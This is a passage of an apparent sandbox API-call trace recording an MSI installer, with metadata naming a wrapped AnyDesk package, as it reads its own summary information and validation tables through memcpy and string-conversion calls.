lstrlenW (lpString="CURRENTDIRECTORY") returned 16 [0121.156] memcpy (in: _Dst=0x33a7a0, _Src=0x33cfe0, _Size=0x20 | out: _Dst=0x33a7a0) returned 0x33a7a0 [0121.156] lstrlenW (lpString="[~~~]") returned 5 [0121.156] lstrlenW (lpString="[~~~]") returned 5 [0121.157] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="[BZ.COMPANYNAME]\\\" TARGETDIR=\"C:\\\" USERNAME=\"t9vI8CM\" CURRENTDIRECTORY=\"C:\\Windows\\system32\" CLIENTUILEVEL=\"0\" CLIENTPROCESSID=\"3848\" COMPANYNAME=\"dtkCQ3 DOuZrvfqUDBR\" SOURCEDIR=\"C:\\Users\\KEECFM~1\\Desktop\\\" ROOTDRIVE=\"C:\\\" EXECUTEACTION=\"INSTALL\" ACTION=\"INSTALL\" INSTALLLEVEL=\"1\" SECONDSEQUENCE=\"1\" ADDLOCAL=ProductFeature ACTION=INSTALL", cchCount1=5, lpString2="[~~~]", cchCount2=5) returned 3 [0121.157] memcpy (in: _Dst=0x32f780, _Src=0x33d004, _Size=0x50 | out: _Dst=0x32f780) returned 0x32f780 [0121.157] memcpy (in: _Dst=0x33a7a0, _Src=0x33d058, _Size=0x12 | out: _Dst=0x33a7a0) returned 0x33a7a0 [0121.157] memcpy (in: _Dst=0x338920, _Src=0x33d06e, _Size=0x6 | out: _Dst=0x338920) returned 0x338920 [0121.157] memcpy (in: _Dst=0x338920, _Src=0x33d078, _Size=0x10 | out: _Dst=0x338920) returned 0x338920 [0121.157] memcpy (in: _Dst=0x338830, _Src=0x33d08c, _Size=0xe | out: _Dst=0x338830) returned 0x338830 [0121.157] memcpy (in: _Dst=0x33a7a0, _Src=0x33d09e, _Size=0x20 | out: _Dst=0x33a7a0) returned 0x33a7a0 [0121.157] memcpy (in: _Dst=0x2fa720, _Src=0x33d0c2, _Size=0x26 | out: _Dst=0x2fa720) returned 0x2fa720 [0121.157] memcpy (in: _Dst=0x33a7a0, _Src=0x33d0ec, _Size=0x1a | out: _Dst=0x33a7a0) returned 0x33a7a0 [0121.157] memcpy (in: _Dst=0x338920, _Src=0x33d10a, _Size=0x2 | out: _Dst=0x338920) returned 0x338920 [0121.158] memcpy (in: _Dst=0x33a7a0, _Src=0x33d110, _Size=0x1e | out: _Dst=0x33a7a0) returned 0x33a7a0 [0121.158] memcpy (in: _Dst=0x338920, _Src=0x33d132, _Size=0x8 | out: _Dst=0x338920) returned 0x338920 [0121.158] memcpy (in: _Dst=0x33a7a0, _Src=0x33d13e, _Size=0x16 | out: _Dst=0x33a7a0) returned 0x33a7a0 [0121.158] memcpy (in: _Dst=0x2fa5e0, _Src=0x33d158, _Size=0x26 | out: _Dst=0x2fa5e0) returned 0x2fa5e0 [0121.158] memcpy (in: _Dst=0x33a7a0, _Src=0x33d182, _Size=0x12 | out: _Dst=0x33a7a0) returned 0x33a7a0 [0121.158] memcpy (in: _Dst=0x3390f0, _Src=0x33d198, _Size=0x34 | out: _Dst=0x3390f0) returned 0x3390f0 [0121.158] memcpy (in: _Dst=0x33a7a0, _Src=0x33d1d0, _Size=0x12 | out: _Dst=0x33a7a0) returned 0x33a7a0 [0121.158] memcpy (in: _Dst=0x338920, _Src=0x33d1e6, _Size=0x6 | out: _Dst=0x338920) returned 0x338920 [0121.158] memcpy (in: _Dst=0x33a7a0, _Src=0x33d1f0, _Size=0x1a | out: _Dst=0x33a7a0) returned 0x33a7a0 [0121.158] memcpy (in: _Dst=0x338920, _Src=0x33d20e, _Size=0xe | out: _Dst=0x338920) returned 0x338920 [0121.158] memcpy (in: _Dst=0x338920, _Src=0x33d220, _Size=0xc | out: _Dst=0x338920) returned 0x338920 [0121.158] memcpy (in: _Dst=0x338830, _Src=0x33d230, _Size=0xe | out: _Dst=0x338830) returned 0x338830 [0121.158] memcpy (in: _Dst=0x33a7a0, _Src=0x33d242, _Size=0x18 | out: _Dst=0x33a7a0) returned 0x33a7a0 [0121.158] memcpy (in: _Dst=0x338920, _Src=0x33d25e, _Size=0x2 | out: _Dst=0x338920) returned 0x338920 [0121.158] memcpy (in: _Dst=0x33a7a0, _Src=0x33d264, _Size=0x1c | out: _Dst=0x33a7a0) returned 0x33a7a0 [0121.158] memcpy (in: _Dst=0x338920, _Src=0x33d284, _Size=0x2 | out: _Dst=0x338920) returned 0x338920 [0121.158] memcpy (in: _Dst=0x338920, _Src=0x33d28c, _Size=0x10 | out: _Dst=0x338920) returned 0x338920 [0121.159] memcpy (in: _Dst=0x33a7a0, _Src=0x33d29e, _Size=0x1c | out: _Dst=0x33a7a0) returned 0x33a7a0 [0121.159] memcpy (in: _Dst=0x338920, _Src=0x33d2c0, _Size=0xc | out: _Dst=0x338920) returned 0x338920 [0121.159] memcpy (in: _Dst=0x338860, _Src=0x33d2ce, _Size=0xe | out: _Dst=0x338860) returned 0x338860 [0121.159] SetLastError (dwErrCode=0xd) [0121.159] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="INSTALL", cchCount1=-1, lpString2="ADMIN", cchCount2=-1) returned 3 [0121.159] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="INSTALL", cchCount1=-1, lpString2="ADVERTISE", cchCount2=-1) returned 3 [0121.159] lstrlenW (lpString="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 94 [0121.159] IStorage:Stat (in: This=0x2fcb20, pstatstg=0x10ce9b0, grfStatFlag=0x0 | out: pstatstg=0x10ce9b0) returned 0x0 [0121.159] lstrlenW (lpString="C:\\Windows\\Installer\\1876eff.msi") returned 32 [0121.159] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x10ce9a8 | out: ppMalloc=0x10ce9a8*=0x7fefd6b5380) returned 0x0 [0121.159] IMalloc:Free (This=0x7fefd6b5380, pv=0x2fa5d0) [0121.159] IUnknown:AddRef (This=0x7fefd6b5380) returned 0x1 [0121.159] lstrlenW (lpString="\x05SummaryInformation") returned 19 [0121.159] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="\x05SummaryInformation", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce900, ppstm=0x3390e0 | out: ppstm=0x3390e0*=0x7fef7acfc30) returned 0x0 [0121.160] CExposedStream::Stat () returned 0x0 [0121.160] CExposedStream::Read () returned 0x0 [0121.160] CExposedStream::Release () returned 0x0 [0121.160] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3cccbc, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0121.160] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3cccbc, cbMultiByte=10, lpWideCharStr=0x33a7a0, cchWideChar=10 | out: lpWideCharStr="Intel;1033") returned 10 [0121.160] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ccd98, cbMultiByte=70, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0121.160] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ccd98, cbMultiByte=70, lpWideCharStr=0x37dff0, cchWideChar=70 | out: lpWideCharStr="Anydesk - UNREGISTERED - Wrapped using MSI Wrapper from www.exemsi.com") returned 70 [0121.160] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ccd40, cbMultiByte=78, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0121.160] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ccd40, cbMultiByte=78, lpWideCharStr=0x3bd060, cchWideChar=78 | out: lpWideCharStr="Anydesk - UNREGISTERED - Wrapped using MSI Wrapper from www.exemsi.com 0.7.0.0") returned 78 [0121.160] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ccca8, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0121.160] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ccca8, cbMultiByte=9, lpWideCharStr=0x33a760, cchWideChar=9 | out: lpWideCharStr="Installer") returned 9 [0121.161] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3cccd0, cbMultiByte=38, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0121.161] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3cccd0, cbMultiByte=38, lpWideCharStr=0x32f780, cchWideChar=38 | out: lpWideCharStr="{8CB27BF3-59BC-4419-BE15-E9E385453F27}") returned 38 [0121.161] FileTimeToLocalFileTime (in: lpFileTime=0x10ce9d0, lpLocalFileTime=0x10ce9d0 | out: lpLocalFileTime=0x10ce9d0) returned 1 [0121.161] FileTimeToDosDateTime (in: lpFileTime=0x10ce9d0, lpFatDate=0x10ce9f0, lpFatTime=0x10cea08 | out: lpFatDate=0x10ce9f0, lpFatTime=0x10cea08) returned 1 [0121.161] IStorage:Stat (in: This=0x2fcb20, pstatstg=0x10ce8b0, grfStatFlag=0x1 | out: pstatstg=0x10ce8b0) returned 0x0 [0121.161] IStorage:Stat (in: This=0x2fcb20, pstatstg=0x10ce8b0, grfStatFlag=0x1 | out: pstatstg=0x10ce8b0) returned 0x0 [0121.161] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀㼿䕷䑬㹪䒲䠯", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce380, ppstm=0x210dc48 | out: ppstm=0x210dc48*=0x33a6d0) returned 0x0 [0121.162] CExposedStream::Stat () returned 0x0 [0121.162] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀㼿䕷䑬㭪䗤䠤", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce380, ppstm=0x32da10 | out: ppstm=0x32da10*=0x7fefd69e520) returned 0x0 [0121.162] CExposedStream::Stat () returned 0x0 [0121.162] CExposedStream::Read () returned 0x0 [0121.162] memcpy (in: _Dst=0x10ce458, _Src=0x3627dc, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.163] GlobalLock (hMem=0xf40008) returned 0x3e90090 [0121.163] memcpy (in: _Dst=0x10ce458, _Src=0x3627e0, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.163] CExposedStream::Read () returned 0x0 [0121.163] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b17c, _Size=0x4 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.163] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=4, lpWideCharStr=0x338920, cchWideChar=4 | out: lpWideCharStr="Name") returned 4 [0121.163] memcpy (in: _Dst=0x10ce458, _Src=0x3627e4, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.163] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b180, _Size=0x5 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.163] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=5, lpWideCharStr=0x338830, cchWideChar=5 | out: lpWideCharStr="Table") returned 5 [0121.163] memcpy (in: _Dst=0x10ce458, _Src=0x3627e8, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.163] memcpy (in: _Dst=0x10ce458, _Src=0x3627ec, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.163] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b185, _Size=0x4 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.163] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=4, lpWideCharStr=0x338950, cchWideChar=4 | out: lpWideCharStr="Type") returned 4 [0121.163] memcpy (in: _Dst=0x10ce458, _Src=0x3627f0, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.163] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b189, _Size=0x6 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.163] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=6, lpWideCharStr=0x338980, cchWideChar=6 | out: lpWideCharStr="Column") returned 6 [0121.163] memcpy (in: _Dst=0x10ce458, _Src=0x3627f4, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.163] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b18f, _Size=0xb | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.163] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=11, lpWideCharStr=0x33a720, cchWideChar=11 | out: lpWideCharStr="_Validation") returned 11 [0121.163] memcpy (in: _Dst=0x10ce458, _Src=0x3627f8, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.163] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b19a, _Size=0x5 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.163] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=5, lpWideCharStr=0x3389b0, cchWideChar=5 | out: lpWideCharStr="Value") returned 5 [0121.163] memcpy (in: _Dst=0x10ce458, _Src=0x3627fc, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.163] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b19f, _Size=0x1 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.163] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=1, lpWideCharStr=0x3389e0, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0121.164] memcpy (in: _Dst=0x10ce458, _Src=0x362800, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.164] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b1a0, _Size=0xa | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=10, lpWideCharStr=0x33a7e0, cchWideChar=10 | out: lpWideCharStr="PropertyId") returned 10 [0121.164] memcpy (in: _Dst=0x10ce458, _Src=0x362804, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.164] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b1aa, _Size=0x13 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=19, lpWideCharStr=0x2fa5e0, cchWideChar=19 | out: lpWideCharStr="_SummaryInformation") returned 19 [0121.164] memcpy (in: _Dst=0x10ce458, _Src=0x362808, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.164] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b1bd, _Size=0xb | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=11, lpWideCharStr=0x33a820, cchWideChar=11 | out: lpWideCharStr="Description") returned 11 [0121.164] memcpy (in: _Dst=0x10ce458, _Src=0x36280c, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.164] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b1c8, _Size=0x3 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=3, lpWideCharStr=0x338a10, cchWideChar=3 | out: lpWideCharStr="Set") returned 3 [0121.164] memcpy (in: _Dst=0x10ce458, _Src=0x362810, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.164] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b1cb, _Size=0x8 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=8, lpWideCharStr=0x338a40, cchWideChar=8 | out: lpWideCharStr="Category") returned 8 [0121.164] memcpy (in: _Dst=0x10ce458, _Src=0x362814, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.164] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b1d3, _Size=0x9 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=9, lpWideCharStr=0x33a860, cchWideChar=9 | out: lpWideCharStr="KeyColumn") returned 9 [0121.164] memcpy (in: _Dst=0x10ce458, _Src=0x362818, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.164] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b1dc, _Size=0x8 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=8, lpWideCharStr=0x338a70, cchWideChar=8 | out: lpWideCharStr="MaxValue") returned 8 [0121.164] memcpy (in: _Dst=0x10ce458, _Src=0x36281c, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.164] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b1e4, _Size=0x8 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=8, lpWideCharStr=0x338aa0, cchWideChar=8 | out: lpWideCharStr="Nullable") returned 8 [0121.165] memcpy (in: _Dst=0x10ce458, _Src=0x362820, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.165] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b1ec, _Size=0x8 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=8, lpWideCharStr=0x338ad0, cchWideChar=8 | out: lpWideCharStr="KeyTable") returned 8 [0121.165] memcpy (in: _Dst=0x10ce458, _Src=0x362824, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.165] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b1f4, _Size=0x8 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=8, lpWideCharStr=0x338b00, cchWideChar=8 | out: lpWideCharStr="MinValue") returned 8 [0121.165] memcpy (in: _Dst=0x10ce458, _Src=0x362828, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.165] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b1fc, _Size=0xa | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=10, lpWideCharStr=0x33a8a0, cchWideChar=10 | out: lpWideCharStr="Identifier") returned 10 [0121.165] memcpy (in: _Dst=0x10ce458, _Src=0x36282c, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.165] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b206, _Size=0xd | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=13, lpWideCharStr=0x33a8e0, cchWideChar=13 | out: lpWideCharStr="Name of table") returned 13 [0121.165] memcpy (in: _Dst=0x10ce458, _Src=0x362830, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.165] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b213, _Size=0xe | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=14, lpWideCharStr=0x33a920, cchWideChar=14 | out: lpWideCharStr="Name of column") returned 14 [0121.165] memcpy (in: _Dst=0x10ce458, _Src=0x362834, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.165] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b221, _Size=0x3 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=3, lpWideCharStr=0x338b30, cchWideChar=3 | out: lpWideCharStr="Y;N") returned 3 [0121.165] memcpy (in: _Dst=0x10ce458, _Src=0x362838, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.165] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b224, _Size=0x1e | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=30, lpWideCharStr=0x339210, cchWideChar=30 | out: lpWideCharStr="Whether the column is nullable") returned 30 [0121.165] memcpy (in: _Dst=0x10ce458, _Src=0x36283c, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.165] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b242, _Size=0x1 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=1, lpWideCharStr=0x338b60, cchWideChar=1 | out: lpWideCharStr="Y") returned 1 [0121.165] memcpy (in: _Dst=0x10ce458, _Src=0x362840, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.165] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b243, _Size=0x15 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=21, lpWideCharStr=0x2fa630, cchWideChar=21 | out: lpWideCharStr="Minimum value allowed") returned 21 [0121.165] memcpy (in: _Dst=0x10ce458, _Src=0x362844, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.165] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b258, _Size=0x15 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=21, lpWideCharStr=0x2fa6d0, cchWideChar=21 | out: lpWideCharStr="Maximum value allowed") returned 21 [0121.166] memcpy (in: _Dst=0x10ce458, _Src=0x362848, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.166] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b26d, _Size=0x36 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=54, lpWideCharStr=0x32db40, cchWideChar=54 | out: lpWideCharStr="For foreign key, Name of table to which data must link") returned 54 [0121.166] memcpy (in: _Dst=0x10ce458, _Src=0x36284c, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.166] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b2a3, _Size=0x24 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=36, lpWideCharStr=0x32f7f0, cchWideChar=36 | out: lpWideCharStr="Column to which foreign key connects") returned 36 [0121.166] memcpy (in: _Dst=0x10ce458, _Src=0x362850, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.166] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b2c7, _Size=0xf5 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=245, lpWideCharStr=0x334ef0, cchWideChar=245 | out: lpWideCharStr="Text;Formatted;Template;Condition;Guid;Path;Version;Language;Identifier;Binary;UpperCase;LowerCase;Filename;Paths;AnyPath;WildCardFilename;RegPath;CustomSource;Property;Cabinet;Shortcut;FormattedSDDLText;Integer;DoubleInteger;TimeDate;DefaultDir") returned 245 [0121.166] memcpy (in: _Dst=0x10ce458, _Src=0x362854, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.166] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b3bc, _Size=0xf | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=15, lpWideCharStr=0x33a960, cchWideChar=15 | out: lpWideCharStr="String category") returned 15 [0121.166] memcpy (in: _Dst=0x10ce458, _Src=0x362858, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.166] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b3cb, _Size=0x4 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=4, lpWideCharStr=0x338b90, cchWideChar=4 | out: lpWideCharStr="Text") returned 4 [0121.166] memcpy (in: _Dst=0x10ce458, _Src=0x36285c, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.166] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b3cf, _Size=0x20 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=32, lpWideCharStr=0x339270, cchWideChar=32 | out: lpWideCharStr="Set of values that are permitted") returned 32 [0121.166] memcpy (in: _Dst=0x10ce458, _Src=0x362860, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.166] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b3ef, _Size=0x15 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=21, lpWideCharStr=0x2fa770, cchWideChar=21 | out: lpWideCharStr="Description of column") returned 21 [0121.166] memcpy (in: _Dst=0x10ce458, _Src=0x362864, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.166] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b404, _Size=0x14 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=20, lpWideCharStr=0x2fa7c0, cchWideChar=20 | out: lpWideCharStr="AdminExecuteSequence") returned 20 [0121.166] memcpy (in: _Dst=0x10ce458, _Src=0x362868, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.166] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b418, _Size=0x6 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=6, lpWideCharStr=0x338bc0, cchWideChar=6 | out: lpWideCharStr="Action") returned 6 [0121.166] memcpy (in: _Dst=0x10ce458, _Src=0x36286c, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.167] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b41e, _Size=0x42 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=66, lpWideCharStr=0x37e150, cchWideChar=66 | out: lpWideCharStr="Name of action to invoke, either in the engine or the handler DLL.") returned 66 [0121.167] memcpy (in: _Dst=0x10ce458, _Src=0x362870, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.167] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b460, _Size=0x9 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=9, lpWideCharStr=0x33a9a0, cchWideChar=9 | out: lpWideCharStr="Condition") returned 9 [0121.167] memcpy (in: _Dst=0x10ce458, _Src=0x362874, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.167] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b469, _Size=0x9f | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=159, 